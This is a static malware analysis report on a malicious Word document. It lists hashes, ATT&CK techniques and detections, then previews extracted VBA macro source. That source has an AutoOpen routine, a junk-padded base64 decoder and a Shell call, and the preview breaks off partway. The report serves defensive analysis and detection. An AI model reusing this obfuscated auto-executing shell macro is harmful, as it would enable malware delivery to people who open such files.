Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 222cb853e7a9aeb5…

MALICIOUS

Office (OLE)

540.5 KB Created: 2017-05-31 14:10:00 Authoring application: Microsoft Office Word First seen: 2017-09-14
MD5: b9b8cec7796b33e2c459fa314d811fbc SHA-1: 8a2bf3d6d03ab11bdd50f06e2eee343f1f6822cf SHA-256: 222cb853e7a9aeb5236ec1c91c374eebde09ce598bf8d30ad1749c5f9cb4e808
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'OLE_VBA_SHELL' heuristic indicates a potential attempt to execute shell commands. The 'AutoOpen' macro is present, a common technique for automatic execution upon opening the document. The ClamAV detection 'Doc.Macro.Valyria-6327969-0' further confirms its malicious nature, suggesting it's a macro-based downloader.

Heuristics 6

  • ClamAV: Doc.Macro.Valyria-6327969-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Valyria-6327969-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End If
    If Len(bbJWR4) > 0 Then Shell bbJWR4, d5PRM09
    End Sub
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "pUZfy"
    Sub AutoOpen()
    Dim ANeAro9E As Integer
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25063 bytes
SHA-256: ba23f03a79234a78b4f9a056fe8e80364290c2a6ccefe8d2247a7bf2b45099e9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "pUZfy"
Sub AutoOpen()
Dim ANeAro9E As Integer
ANeAro9E = 44 + 76
If ANeAro9E = 38605 Then
TxRt491e = -509707082
Else
o9itH = 22520.186625608
End If
Dim avC2d As Integer
avC2d = 44 + 76
If avC2d < 38605 Then
bEQOHjo = False
Else
zrO890SZ = -14003
End If
jYEb56NLg
Dim noECkTbL As Integer
noECkTbL = 28483 / 313
If noECkTbL < 42017 Then
F57kRDb = lCwXNqI
Else
rXQ41 = 200
End If
Dim HhbJ8Hlo As Integer
HhbJ8Hlo = 28483 / 313
If HhbJ8Hlo > 42017 Then
UHTtVWqKD = True
Else
JgrbLPs = 0
End If
Dim OBMQWAiYP As Integer
OBMQWAiYP = 28483 / 313
If OBMQWAiYP < 42017 Then
PugxIsbWn = 25023.153170199
Else
waTIvlr = 15724.989194621
End If
Dim ePfwTCz As Integer
ePfwTCz = 1204 / 7
If ePfwTCz <> 34832 Then
YZn1fM5c = -290493950
Else
jMmkeEwW6 = -290493950
End If
Dim tUsjC As Integer
tUsjC = 1204 / 7
If tUsjC > 34832 Then
RUJwAu9 = 50284.338801808
Else
ROA63MS = -176803434
End If

End Sub

Attribute VB_Name = "WIkoAgm"
Private Const nNBHTXm = 16711680
Private Const eWfiweIC = 65280
Private Const Ovuoj4bV = 255
Private Const Tv50dh8Pu = 262144
Private Const aIa9UGrZ = 4096
Private Const QtfQj7U = 64
Private Const hC10E6 = 256
Private Const XCyFqEM = 65536
Public Function sqa0o(wj0fc As String) As String
Dim WMBdSy() As Byte, bIn() As Byte, bTrans(255) As Byte, lPowers6(63) As Long, lPowers12(63) As Long
Dim lPowers18(63) As Long, lQuad As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
Dim lTemp As Long
Dim hHAnSRU As Integer
hHAnSRU = 6762 / 49
If hHAnSRU < 65261 Then
y2zRdMBD = -1470181764
Else
aeCbgw = -1470181764
End If
Dim GkeZPQ As Integer
GkeZPQ = 6762 / 49
If GkeZPQ < 65261 Then
cuh89l5 = True
Else
Ww08oC = 213
End If
Dim TxaoMm As Integer
TxaoMm = 5970 / 1194
If TxaoMm <> 36272 Then
MovKFR = -11433
Else
KIZ26 = 88
End If
Dim QqQv5 As Integer
QqQv5 = 5970 / 1194
If QqQv5 = 36272 Then
aKun635 = False
Else
KOzW9ft8s = QfoixF58j
End If
Dim YzJ7TmGYx As Integer
YzJ7TmGYx = 5970 / 1194
If YzJ7TmGYx <> 36272 Then
QKGArt = 4255.1346649109
Else
kAdpaG5LO = 4255.1346649109
End If
wj0fc = Replace(wj0fc, vbCr, vbNullString)
Dim cpthHvCk As Integer
cpthHvCk = 26840 / 488
If cpthHvCk > 39035 Then
dTS2V = False
Else
kBvJT = 4080.1138322519
End If
Dim kYXFW As Integer
kYXFW = 26840 / 488
If kYXFW <> 39035 Then
TpEkDRiq = 222
Else
cPXhZ = 44536.325157912
End If
Dim y9VfUw As Integer
y9VfUw = 397 - 315
If y9VfUw < 52269 Then
fkHNGb = -9603
Else
RewjsvDXG = 241
End If
Dim idMyIsvfG As Integer
idMyIsvfG = 397 - 315
If idMyIsvfG > 52269 Then
D3Wct = 4070.859487128
Else
VvTPIw = 32631.099604641
End If
wj0fc = Replace(wj0fc, vbLf, vbNullString)
Dim E1DkmegTt As Integer
E1DkmegTt = 78 - 57
If E1DkmegTt > 40104 Then
TwtC6 = 54240.819797384
Else
QbjJk85 = 54240.819797384
End If
Dim eS4D7n9 As Integer
eS4D7n9 = 78 - 57
If eS4D7n9 = 40104 Then
bLvh8lOI = 24061
Else
ytpb4cxSJ = False
End If
Dim iv2Po As Integer
iv2Po = 78 - 57
If iv2Po < 40104 Then
d2zNX7FaQ = True
Else
rqpDR = -8973
End If
Dim orIpKbZh As Integer
orIpKbZh = 4286 - 4281
If orIpKbZh > 39826 Then
vgiHY = 208
Else
q3HuDbmSw = -541618922
End If
Dim eCL4i As Integer
eCL4i = 4286 - 4281
If eCL4i <> 39826 Then
UfTNaP3 = -1091107296
Else
h7RnI = 43153.580075761
End If
lTemp = Len(wj0fc) Mod 4
Dim ucs5CRj As Integer
ucs5CRj = 23895 / 135
If ucs5CRj > 56314 Then
wJqbHxf = 28398.256973814
Else
lQjA8 = 28398.256973814
End If
Dim KVsron As Integer
KVsron = 23895 / 135
If KVsron < 56314 Then
brhe4w07L = 18870
Else
AQRrs51 = 193
End If
Dim OIyzlW As Integer
OIyzlW = 28193 / 233
If OIyzlW < 47502 Then
klSDT = 29
Else
WQtjAuzs = nw4W1S
End If
Dim E0y6SPJ As Integer
E0y6SPJ = 28193 / 233
If E0y6SPJ < 47502 Then
d6HyA0 = 0
Else
CVj2JLeg = QXGBz
End If
Dim nh9Uwe2 As Integer
nh9Uwe2 = -62 + 163
If nh9Uwe2 = 37948 Then
YNLcW926 = False
Else
xefiz8x = False
End If
Dim ZcnYVTN As Integer
ZcnYVTN = -62 + 163
If ZcnYVTN <> 37948 Then
F3Mm42xJ = eHQGnutU
Else
zS4uegq = 12814
End If
Dim GdgD9 As Integer
GdgD9 = -62 + 163
If GdgD9 < 37948 Then
wLTHYhVvQ = 59509.558270784
Else
AngqPRkl = 18362.141347917
End If
Dim o0wqA As Integer
o0wqA = 18000 / 3000
If o0wqA <> 35638 Then
kvPerBZnl = 0
Else
gntpVwz = 62956.567717429
End If
Dim t6iHT As Integer
t6iHT = 18000 / 3000
If t6iHT = 35638 Then
kUopK7Ia = 6639.5344730022
Else
UeuzYcf = 23729
End If
Dim MK36SY As Integer
MK36SY = 636 - 580
If MK36SY > 34280 Then
zcniJyG7 = False
Else
GKBMi = 10371.11133201
End If
Dim cuJbeMY6 As Integer
cuJbeMY6 = 636 - 580
If cuJbeMY6 = 34280 Then
rv57Ylz = 107
Else
e7UkqTCG2 = 0
End If
Dim wjHJf6I As Integer
wjHJf6I = 636 - 580
If wjHJf6I <> 34280 Then
DS0hFw = 22416
Else
xZYh9gI = 23958.197406492
End If
Dim IlyV8 As Integer
IlyV8 = 201 - 63
If IlyV8 = 50042 Then
QGapJovKk = 5094.7950321397
Else
eEt7W = 186
End If
Dim bGQMqFj As Integer
bGQMqFj = 201 - 63
If bGQMqFj <> 50042 Then
FpRM2wPxz = -19739
Else
kpE1rgy8 = 0
End If
Dim etNc4ofg As Integer
etNc4ofg = 201 - 63
If etNc4ofg > 50042 Then
xoZ8Ecq = 170
Else
gyI59eci = 25044
End If
Dim xS3nF4T As Integer
xS3nF4T = 15399 / 177
If xS3nF4T = 49670 Then
Sp30y = 57955.542390407
Else
feL5Wk = WHoUBCReN
End If
Dim puntVE As Integer
puntVE = 15399 / 177
If puntVE <> 49670 Then
PpMhoYAa = 37617.237615699
Else
DpeHGB = XOwZ5
End If
If InStrRev(wj0fc, "==") Then
Dim exuNE7y As Integer
exuNE7y = -227 + 298
If exuNE7y < 43043 Then
gWY47 = False
Else
A3XZT = 5813
End If
Dim TlgdhJp2 As Integer
TlgdhJp2 = -227 + 298
If TlgdhJp2 = 43043 Then
tZRFC = -1654024064
Else
QnxRGXzwW = 22116
End If
Dim LjS7A As Integer
LjS7A = -227 + 298
If LjS7A = 43043 Then
IYIT7uzN = False
Else
FQdMLVny = 21158.34994691
End If
iPad = 2
ElseIf InStrRev(wj0fc, "=") Then
Dim u6wz5QH As Integer
u6wz5QH = -346 + 418
If u6wz5QH < 39117 Then
EVkLz4dsb = -1838486736
Else
hT9k2 = 39348.268927259
End If
Dim OhGKyJdA As Integer
OhGKyJdA = -346 + 418
If OhGKyJdA > 39117 Then
PsWZgp = 1
Else
PpOLXF = -2014575402
End If
Dim BMYfvPROz As Integer
BMYfvPROz = -346 + 418
If BMYfvPROz <> 39117 Then
U42Kpzjo = False
Else
qmuz7E = 14339.764047707
End If
Dim bNJ7BTR As Integer
bNJ7BTR = 212 - 86
If bNJ7BTR < 35274 Then
q19mZ2F = 0
Else
rfv0Vp2 = 31
End If
Dim q8Tzf6NWb As Integer
q8Tzf6NWb = 212 - 86
If q8Tzf6NWb = 35274 Then
besAfDh = iZBJi7Mx9
Else
R5NQwIRV = -1584
End If
Dim XtfbsKg As Integer
XtfbsKg = 212 - 86
If XtfbsKg > 35274 Then
h8f6Hm = LeySPB6I
Else
L5bEU9 = True
End If
iPad = 1
End If
Dim V9tgGaI As Integer
V9tgGaI = 79 * 2
If V9tgGaI < 61432 Then
Xvxel = W8jPy21MG
Else
w3S0D2spx = 27
End If
Dim CwK35 As Integer
CwK35 = 79 * 2
If CwK35 < 61432 Then
Vqnw0 = DhsZ0BpGi
Else
OlHkr = 14746.955751953
End If
Dim GnRLGTkl As Integer
GnRLGTkl = 79 * 2
If GnRLGTkl = 61432 Then
g7O4mD = hKE6eFl8k
Else
RgLuTe = hKE6eFl8k
End If
For lTemp = 0 To 255
Select Case lTemp
Case 65 To 90
Dim jZfCwds9 As Integer
jZfCwds9 = 122 - 83
If jZfCwds9 = 54327 Then
oozbqu = -3010
Else
heus1 = False
End If
Dim eOL9lRr As Integer
eOL9lRr = 122 - 83
If eOL9lRr <> 54327 Then
LsEMduqi = 24480.497525891
Else
izAM3 = 10660.11989987
End If
Dim DnueLvS As Integer
DnueLvS = 122 - 83
If DnueLvS > 54327 Then
i7qlrAv9n = 0
Else
PhxXi = 37066.860592418
End If
bTrans(lTemp) = lTemp - 65
Case 97 To 122
Dim A6GJi As Integer
A6GJi = 21825 / 291
If A6GJi < 39992 Then
A3CkG5aDv = 8020.6217434901
Else
fSsI7ZF9 = cvZe8
End If
Dim lCJGm As Integer
lCJGm = 21825 / 291
If lCJGm <> 39992 Then
r8PRl6c = gr9Xybm
Else
S4XwbNYz = 62616.516225871
End If
Dim fNKFwp As Integer
fNKFwp = 21825 / 291
If fNKFwp > 39992 Then
JvT8ykH = -151979274
Else
CqeU3CgXA = 23975.852502564
End If
bTrans(lTemp) = lTemp - 71
Case 48 To 57
Dim MugQk As Integer
MugQk = 16014 / 102
If MugQk = 49128 Then
hmHaUKE = 45885.851935001
Else
wSHNEVt = -1057924376
End If
Dim YYc130H As Integer
YYc130H = 16014 / 102
If YYc130H > 49128 Then
YbxCY8BoF = 1610.2828303113
Else
PuZMUzPt = 11348.446329506
End If
Dim mFMSLT As Integer
mFMSLT = 16014 / 102
If mFMSLT <> 49128 Then
Bj6mXlPv = XpY71
Else
nQ0P3G = 1085.196223815
End If
Dim n9OT8n2 As Integer
n9OT8n2 = -625 + 650
If n9OT8n2 = 52316 Then
soyZY = hFAXB
Else
vmbUq = 6621.890912399
End If
Dim UGuJcWBa As Integer
UGuJcWBa = -625 + 650
If UGuJcWBa < 52316 Then
QDYgyX = 30022
Else
hyeXiu = 43723.096516987
End If
Dim UkUCM3m As Integer
UkUCM3m = -625 + 650
If UkUCM3m > 52316 Then
EZz7pRj = rbam4VoUR
Else
aCeuXZHl = 164
End If
bTrans(lTemp) = lTemp + 4
Case 43
Dim gQy64s8i As Integer
gQy64s8i = 20625 / 4125
If gQy64s8i < 64626 Then
EYqmyEG = zq6yg
Else
Xn3V16z = 187
End If
Dim MU6g7w As Integer
MU6g7w = 20625 / 4125
If MU6g7w > 64626 Then
EbpdL = -911534156
Else
GjgUWS = XmTPqQV
End If
Dim P0yQg As Integer
P0yQg = 20625 / 4125
If P0yQg = 64626 Then
uU52a = 31345.265552468
Else
iRg4Z = -1986439782
End If
Dim BifDB As Integer
BifDB = 4764 / 794
If BifDB > 57238 Then
lhyTHOU = 24502.740808912
Else
MIdyZx4Ch = 131
End If
Dim ZCVtdqKI As Integer
ZCVtdqKI = 4764 / 794
If ZCVtdqKI = 57238 Then
gISHXOu0 = False
Else
X4FU5 = 42
End If
bTrans(lTemp) = 62
Case 47
Dim lKHBi As Integer
lKHBi = 125 + 32
If lKHBi < 44762 Then
lOwZK = 254
Else
EAyV9S = 36107.165462954
End If
Dim CEqiP4e6 As Integer
CEqiP4e6 = 125 + 32
If CEqiP4e6 > 44762 Then
oEB82QSZ = 1703.9545602638
Else
xtOhuMD = True
End If
Dim xmrLOo9Jz As Integer
xmrLOo9Jz = 125 + 32
If xmrLOo9Jz > 44762 Then
Q9tnxf0 = fJMxIPN6
Else
WpDkdAg0 = -2044848350
End If
Dim kdyTmEi As Integer
kdyTmEi = -20 + 155
If kdyTmEi < 41268 Then
YHtYopdw = 33017.440430194
Else
cegN0uzZt = 33017.440430194
End If
Dim TCW1s2 As Integer
TCW1s2 = -20 + 155
If TCW1s2 < 41268 Then
AC72JMf = MYK5w798m
Else
kuOLHX = 0
End If
Dim E2O8VgTbf As Integer
E2O8VgTbf = -20 + 155
If E2O8VgTbf <> 41268 Then
DnOPYA = False
Else
SLZ6D = 0
End If
bTrans(lTemp) = 63
End Select
Next lTemp
Dim V4jcmVM As Integer
V4jcmVM = 252 - 173
If V4jcmVM = 47915 Then
THlS6 = 0
Else
ZJvgn8PQq = True
End If
Dim MIWc7 As Integer
MIWc7 = 252 - 173
If MIWc7 <> 47915 Then
BeP7SZXD5 = 13473
Else
sxyLQ = 239
End If
Dim HO1FhQG As Integer
HO1FhQG = 252 - 173
If HO1FhQG <> 47915 Then
bA5z2 = False
Else
OgbKa = nnGAwloKF
End If
For lTemp = 0 To 63
lPowers6(lTemp) = lTemp * QtfQj7U
lPowers12(lTemp) = lTemp * aIa9UGrZ
lPowers18(lTemp) = lTemp * Tv50dh8Pu
Next lTemp
Dim VzfPvge As Integer
VzfPvge = -1243 + 1267
If VzfPvge = 47399 Then
ZEp2nHAUS = 16179
Else
UFyof = Jp1YbyX7
End If
Dim PE2i7 As Integer
PE2i7 = -1243 + 1267
If PE2i7 = 47399 Then
YJqXDfa = 112
Else
INm4w = 2267.5421367189
End If
Dim YhDltL As Integer
YhDltL = -1243 + 1267
If YhDltL <> 47399 Then
gUF6MZeu = -31152
Else
cDOs4z51 = 0
End If
bIn = StrConv(wj0fc, vbFromUnicode)
Dim LPBLQtaD As Integer
LPBLQtaD = -55 + 153
If LPBLQtaD = 50389 Then
RNI2Viv5 = X4ZeUACo0
Else
a6vZFs7 = 112
End If
Dim YHRIOp As Integer
YHRIOp = -55 + 153
If YHRIOp < 50389 Then
pMaise = 8759
Else
yG1JeoW = 1790.7189857588
End If
Dim IH4VBdeUX As Integer
IH4VBdeUX = -55 + 153
If IH4VBdeUX > 50389 Then
eml2O = 69
Else
AzSp1J0 = 7324
End If
ReDim WMBdSy((((UBound(bIn) + 1) \ 4) * 3) - 1)
For lChar = 0 To UBound(bIn) Step 4
Dim XjFMuWE As Integer
XjFMuWE = 20968 / 10484
If XjFMuWE <> 53132 Then
kvU4gcqdT = 37732.288445059
Else
OAYBWhv = 50894.965365145
End If
Dim KlpN6Rj As Integer
KlpN6Rj = 20968 / 10484
If KlpN6Rj > 53132 Then
ecopAjL = Lch7wD
Else
vUZoB = -26633
End If
Dim Z1mvneX As Integer
Z1mvneX = 12714 / 78
If Z1mvneX <> 61049 Then
cEhi61wKe = 48167.692575269
Else
mF1YLecm = 255
End If
Dim PMmndpzk As Integer
PMmndpzk = 12714 / 78
If PMmndpzk < 61049 Then
IvexNjB1 = -21484
Else
GEqJO = fZlXV
End If
lQuad = lPowers18(bTrans(bIn(lChar))) + lPowers12(bTrans(bIn(lChar + 1))) + lPowers6(bTrans(bIn(lChar + 2))) + bTrans(bIn(lChar + 3))
Dim NJ8Aq7H As Integer
NJ8Aq7H = 1 * 110
If NJ8Aq7H < 58198 Then
lrn8x7 = False
Else
jNyBEwz4 = 14300.836143334
End If
Dim YmwdYp As Integer
YmwdYp = 1 * 110
If YmwdYp > 58198 Then
wtazDGj1v = 88
Else
lPQGb = 63270.719029762
End If
lTemp = lQuad And nNBHTXm
Dim SvhNWYIP As Integer
SvhNWYIP = 41 + 135
If SvhNWYIP = 62748 Then
GRvpAKr = 43
Else
FcyEpiOF = 26710.367522216
End If
Dim EMx17I9 As Integer
EMx17I9 = 41 + 135
If EMx17I9 = 62748 Then
zqyCmS9g = -976991936
Else
H8O5cl = 39979.493107767
End If
Dim KzKNh As Integer
KzKNh = 41 + 135
If KzKNh = 62748 Then
MxyFfgs = q3pkRDB
Else
rjlgmK5 = 4645.4518703257
End If
Dim RTaF3rv As Integer
RTaF3rv = 312 - 131
If RTaF3rv < 53054 Then
AG2gpHdF = JOV6W1Y
Else
P0uSwk = 0
End If
Dim UkHzL9 As Integer
UkHzL9 = 312 - 131
If UkHzL9 < 53054 Then
LR1UWf = 55217.416952115
Else
CU9my = 105
End If
WMBdSy(lPos) = lTemp \ XCyFqEM
Dim OIof4S As Integer
OIof4S = 30030 / 455
If OIof4S = 41462 Then
Ykbex = 99
Else
FoSObKn6 = 62937.105519976
End If
Dim koaLG4m As Integer
koaLG4m = 30030 / 455
If koaLG4m < 41462 Then
LSiB6fA = -1163208172
Else
F6GR7oL = 202
End If
Dim hqVah As Integer
hqVah = 30030 / 455
If hqVah > 41462 Then
fc8NVHD3r = 32369.384444297
Else
kVwEy7a9 = NBnr4
End If
lTemp = lQuad And eWfiweIC
Dim XkEGtejT As Integer
XkEGtejT = 9 + 168
If XkEGtejT > 64190 Then
QpzSP = 64814.218957034
Else
uFJjpo = 78
End If
Dim NaE3ZxsVg As Integer
NaE3ZxsVg = 9 + 168
If NaE3ZxsVg < 64190 Then
FQ6f0H7 = uJ7V3f
Else
y0P4o7T = 210
End If
Dim otSf4L1 As Integer
otSf4L1 = 9 + 168
If otSf4L1 < 64190 Then
NbydkR = -1968269742
Else
vHnk8 = 59178.946851501
End If
WMBdSy(lPos + 1) = lTemp \ hC10E6
Dim IjIWMmFtN As Integer
IjIWMmFtN = -11 + 124
If IjIWMmFtN > 53431 Then
Ue4qY = 25420.045653879
Else
TckoIz = 25420.045653879
End If
Dim I9Q5XJe As Integer
I9Q5XJe = -11 + 124
If I9Q5XJe < 53431 Then
KHBlvDqp = True
Else
PiJng = 48338.700987354
End If
Dim gzetJamME As Integer
gzetJamME = -11 + 124
If gzetJamME = 53431 Then
kwGSny4bE = 17265
Else
t3bAx = 6350.5227008452
End If
WMBdSy(lPos + 2) = lQuad And Ovuoj4bV
lPos = lPos + 3
Next lChar
Dim Fk2pGj As Integer
Fk2pGj = 173 - 31
If Fk2pGj < 42349 Then
a9VYLE = -11752
Else
X0wK8hok = False
End If
Dim H6ae4P As Integer
H6ae4P = 173 - 31
If H6ae4P < 42349 Then
xoODYPe8T = oB1MTNExv
Else
W50ALD4r = 8551.5175876734
End If
sOut = StrConv(WMBdSy, vbUnicode)
Dim p08SY As Integer
p08SY = 24750 / 250
If p08SY = 40655 Then
LVUNz2T = 251
Else
lupa2Q = 30685.668757251
End If
Dim Nkucw1 As Integer
Nkucw1 = 24750 / 250
If Nkucw1 = 40655 Then
WQK0C = 39348.75521746
Else
Uiqdpjvz = 92
End If
Dim BFv5DZoa As Integer
BFv5DZoa = 24750 / 250
If BFv5DZoa = 40655 Then
ekLxBCpq = 30645
Else
ibTU1ErFm = 12357.888412418
End If
Dim d74wD2 As Integer
d74wD2 = 199 - 81
If d74wD2 = 63208 Then
iMOS16 = 45750.677358206
Else
uvmBb = 45750.677358206
End If
Dim l1l6HM As Integer
l1l6HM = 199 - 81
If l1l6HM < 63208 Then
PO3X5 = 45749.60788597
Else
gpEbTqhHR = 45749.60788597
End If
Dim oOrGe8t7 As Integer
oOrGe8t7 = 199 - 81
If oOrGe8t7 > 63208 Then
FKv1Ul76 = OAKgG18
Else
Gs0JcBKor = True
End If
If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
Dim o9jZyPck As Integer
o9jZyPck = 295 - 136
If o9jZyPck = 52812 Then
o6szBRA4d = -3133
Else
BzWR7 = 85
End If
Dim s2UeNfQ As Integer
s2UeNfQ = 295 - 136
If s2UeNfQ <> 52812 Then
m9hI8L = 30354.293281002
Else
cHbXhknY = 30354.293281002
End If
Dim nupL7 As Integer
nupL7 = 233 - 168
If nupL7 = 39372 Then
cXTSEzAl2 = 0
Else
LFjL2h = 19243.927477304
End If
Dim snPhKOt0 As Integer
snPhKOt0 = 233 - 168
If snPhKOt0 > 39372 Then
GzvcoBtq = cgFX4
Else
zkqdm = 50043.661773163
End If
sqa0o = sOut
End Function

Attribute VB_Name = "CKsXdA"
Public Sub PCZ96(bbJWR4 As String, d5PRM09 As Integer)
Dim v92NKEw As Integer
v92NKEw = 7875 / 175
If v92NKEw < 34637 Then
MdpSK = 58
Else
zRQZcB = 58
End If
Dim hY9exhul As Integer
hY9exhul = 7875 / 175
If hY9exhul < 34637 Then
umv4d = 19
Else
xiFPkTO = 37090.24063791
End If
Dim uPzUCaEL As Integer
uPzUCaEL = 7875 / 175
If uPzUCaEL = 34637 Then
PEFvc3Rf = W7oLw
Else
JPCTd91 = 16652
End If
Dim WO9Iurw As Integer
WO9Iurw = 40 + 24
If WO9Iurw > 48792 Then
CZgpxu = True
Else
vSTX312 = True
End If
Dim xY1Py As Integer
xY1Py = 40 + 24
If xY1Py = 48792 Then
rOfc8 = -495048670
Else
rldALfxzW = fuzYVt50d
End If
Dim wOE3I As Integer
wOE3I = 40 + 24
If wOE3I <> 48792 Then
eByeHbIQl = 92
Else
Gx3FQTCE = 14978
End If
Dim gptBcF As Integer
gptBcF = 1174 - 1164
If gptBcF = 55874 Then
x72TeSg = qkbIgLJ
Else
ACgN3rv = 31
End If
Dim cqgaZriD As Integer
cqgaZriD = 1174 - 1164
If cqgaZriD = 55874 Then
Z8OWt7uZr = -28824
Else
MiuYZM6vp = -28824
End If
Dim Uo98WgVzQ As Integer
Uo98WgVzQ = -257 + 348
If Uo98WgVzQ <> 48193 Then
da273 = 160
Else
fuQsdKP = 30726.00411089
End If
Dim QpwLQzb9g As Integer
QpwLQzb9g = -257 + 348
If QpwLQzb9g = 48193 Then
Tzk3n = False
Else
GfrXh = 48520.787538806
End If
Dim KFSy9Msph As Integer
KFSy9Msph = 24240 / 505
If KFSy9Msph = 39695 Then
XSrMgpR = 2436.2200789307
Else
zgedb5 = 115
End If
Dim hZJ7c0 As Integer
hZJ7c0 = 24240 / 505
If hZJ7c0 <> 39695 Then
Md53k = False
Else
CJ5u6G = -1832249804
End If
Dim n6j1sSY As Integer
n6j1sSY = 153 + 26
If n6j1sSY > 54651 Then
IvHpl = 2848.0795282406
Else
SCuw0j = True
End If
Dim zGZ20 As Integer
zGZ20 = 153 + 26
If zGZ20 = 54651 Then
dzDjY = 28703
Else
RwvT9QB = 28703
End If
Dim xDQze214 As Integer
xDQze214 = 253 - 144
If xDQze214 < 64094 Then
MBYVjHakv = 180
Else
YG6k4zsXN = 35557.907197047
End If
Dim KtheV7fvW As Integer
KtheV7fvW = 253 - 144
If KtheV7fvW <> 64094 Then
V7LCHE = 43595.998172158
Else
uOFTN4wix = 43595.998172158
End If
Dim Qr8kULQp As Integer
Qr8kULQp = 253 - 144
If Qr8kULQp = 64094 Then
cIiCoYcL = pcbBtzWE
Else
imCsrRM4 = 62
End If
Dim wpQ4tS7M As Integer
wpQ4tS7M = 17325 / 275
If wpQ4tS7M = 59142 Then
PtNBJO = 33410.821187578
Else
RFHtr = 0
End If
Dim VPmBtRYo As Integer
VPmBtRYo = 17325 / 275
If VPmBtRYo < 59142 Then
…